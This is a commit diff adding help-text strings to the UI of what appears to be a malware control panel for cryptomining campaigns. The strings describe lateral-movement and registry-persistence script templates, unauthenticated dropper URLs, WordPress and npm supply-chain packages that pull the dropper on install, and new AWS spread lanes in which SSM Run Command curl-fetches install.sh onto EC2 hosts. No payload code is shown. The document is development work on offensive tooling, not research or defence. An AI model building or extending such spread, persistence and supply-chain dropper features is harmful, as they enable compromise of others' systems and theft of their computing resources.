Add ssm_document spread lane for owned EC2 via SSM Run Command.

server/web/src/help/uiHelp.ts

@@ -105,6 +105,8 @@ export const UI_HELP: Record<string, string> = {
     'Matrix of SSH local-forward rules pushed to selected Windows agents.',
   crucible_section_spread_templates:
     'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
+  crucible_section_launch_template:
+    'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
 
   bm_pin_dropper:
     'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -174,6 +176,14 @@ export const UI_HELP: Record<string, string> = {
     'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
   ew_supply_chain:
     'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
+  ew_cloud_ecosystem:
+    'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
+  ew_cloud_aws:
+    'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
+  ew_cloud_generic:
+    'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
+  ew_ssm_document:
+    'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
   ew_public_urls:
     'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
   ew_techniques: